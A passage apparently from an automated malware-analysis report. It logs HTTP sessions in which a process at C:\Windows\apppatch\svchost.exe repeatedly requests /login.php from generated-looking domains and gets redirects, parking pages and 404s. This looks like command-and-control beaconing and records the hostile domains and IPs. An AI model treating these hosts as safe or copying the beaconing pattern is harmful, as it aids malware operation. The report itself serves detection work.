                                                                                                                                                                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-contai [TRUNCATED]
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.813899994 CET169INData Raw: 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67
                                                                                                                                                                                                          Data Ascii: <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          14192.168.2.65887013.248.169.48804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.880290985 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: pupydeq.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.642127037 CET259INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: openresty
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:05 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 114
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                                                                                                                                                                                          Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander"}</script></head></html>
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.646051884 CET259INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: openresty
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:05 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 114
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                                                                                                                                                                                          Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander"}</script></head></html>


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          15192.168.2.658871188.114.96.3804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.069365025 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lysyvan.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.769691944 CET980INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:05 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: https://lysyvan.com/login.php
                                                                                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XRavtyEA%2BCeYXAMADt%2BOZhIXa%2BimtRBU6fE%2FDcwtnc8JoG3yiEeEyqrWPAZJRUhsb2yq%2BJ0WHV1LS0ldghgjqw%2F%2BW5vHX%2FVsG59ou2h4KxV76QFPli%2BYOEpM6NR2hg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8e0fe9310a5141b2-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1299&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=243&delivery_rate=0&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                                                          Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.083502054 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lysyvan.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.496052980 CET982INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:08 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: https://lysyvan.com/login.php
                                                                                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mv3l2oYdbw3qJ7Prnr87rQNZIoE83Zuxii98MQIomaO91RjKFlaDEBB0wjUyIOo%2Bglu0r1mZHg5%2F%2BsebcFinfeMreRqgaTsZcqCJBV0o0LFYs%2BCR4jD6%2BksIAi%2FfKQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8e0fe941dc0541b2-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1299&sent=4&recv=6&lost=0&retrans=0&sent_bytes=980&recv_bytes=486&delivery_rate=2170914&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                                                          Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.966795921 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lysyvan.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.383472919 CET812INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:29 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: https://lysyvan.com/login.php
                                                                                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dTdlXRm%2Bk3okNq0M55FYS7fEuWbhn8GyNzh%2Byyf5uwM5aaRIO86JbYyN3YUt%2BlU933%2FuKUYqZDycv%2Br8sLViQkZXyFgrvCT1teaoqKMQ1xNM1G%2By7FYTNznmf0h%2F0Q%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8e0fe9c45b9841b2-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1300&sent=7&recv=9&lost=0&retrans=0&sent_bytes=1962&recv_bytes=729&delivery_rate=2170914&cwnd=252&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.384396076 CET173INData Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31
                                                                                                                                                                                                          Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
                                                                                                                                                                                                          Nov 11, 2024 18:13:31.821046114 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lysyvan.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:32.153229952 CET981INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:32 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: https://lysyvan.com/login.php
                                                                                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0xsI9%2F8Du4Dq0LudPzz3xC%2FVhTvFQHkyAh3hWOooQ%2BZ3FRjqJwsht2Q3XfU3YLo5gZVk%2BZylTpRYdukQl2vJJp5gSN9BsrmoJcmUPNnzviC0LJp%2BWUXtEUSwr2aAXw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8e0fe9d63c1341b2-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1302&sent=11&recv=13&lost=0&retrans=0&sent_bytes=2947&recv_bytes=972&delivery_rate=2362153&cwnd=4&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                                                          Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          16192.168.2.6588743.94.10.34804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.200031042 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lygynud.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.646775961 CET413INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:05 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=1e822420cb8d3f7ff6bc20592f4b28e8|66.23.206.109|1731345185|1731345185|0|1|0; path=/; domain=.lygynud.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Set-Cookie: snkz=66.23.206.109; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          17192.168.2.65887518.208.156.248804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.657099962 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: pupycag.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:06.077861071 CET413INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:06 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=e5cea2794c01fe0d297510f888cbb928|66.23.206.109|1731345186|1731345186|0|1|0; path=/; domain=.pupycag.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Set-Cookie: snkz=66.23.206.109; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          18192.168.2.658877103.150.10.48804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.679856062 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lyrysor.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:06.462517977 CET404INHTTP/1.1 302 Moved Temporarily
                                                                                                                                                                                                          Server: openresty/1.15.8.1
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:06 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 151
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: http://106.15.232.163:8000/dh/147287063_134827.html#index8?d=lyrysor.com
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 35 2e 38 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                                                          Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty/1.15.8.1</center></body></html>
                                                                                                                                                                                                          Nov 11, 2024 18:13:07.500108957 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lyrysor.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:07.771686077 CET404INHTTP/1.1 302 Moved Temporarily
                                                                                                                                                                                                          Server: openresty/1.15.8.1
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:07 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 151
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: http://106.15.232.163:8000/dh/147287063_134827.html#index8?d=lyrysor.com
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 35 2e 38 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                                                          Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty/1.15.8.1</center></body></html>
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.899952888 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lyrysor.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.171669006 CET404INHTTP/1.1 302 Moved Temporarily
                                                                                                                                                                                                          Server: openresty/1.15.8.1
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:29 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 151
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: http://106.15.232.163:8000/dh/147287063_134827.html#index8?d=lyrysor.com
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 35 2e 38 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                                                          Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty/1.15.8.1</center></body></html>
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.479676962 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lyrysor.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.751168013 CET404INHTTP/1.1 302 Moved Temporarily
                                                                                                                                                                                                          Server: openresty/1.15.8.1
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:29 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 151
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: http://106.15.232.163:8000/dh/147287063_134827.html#index8?d=lyrysor.com
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 35 2e 38 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                                                          Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty/1.15.8.1</center></body></html>


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          19192.168.2.658882106.15.232.16380004888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:06.501164913 CET290OUTGET /dh/147287063_134827.html HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: 106.15.232.163:8000
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          Nov 11, 2024 18:13:07.289659023 CET722INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: openresty/1.21.4.3
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:07 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 561
                                                                                                                                                                                                          Connection: keep-alive
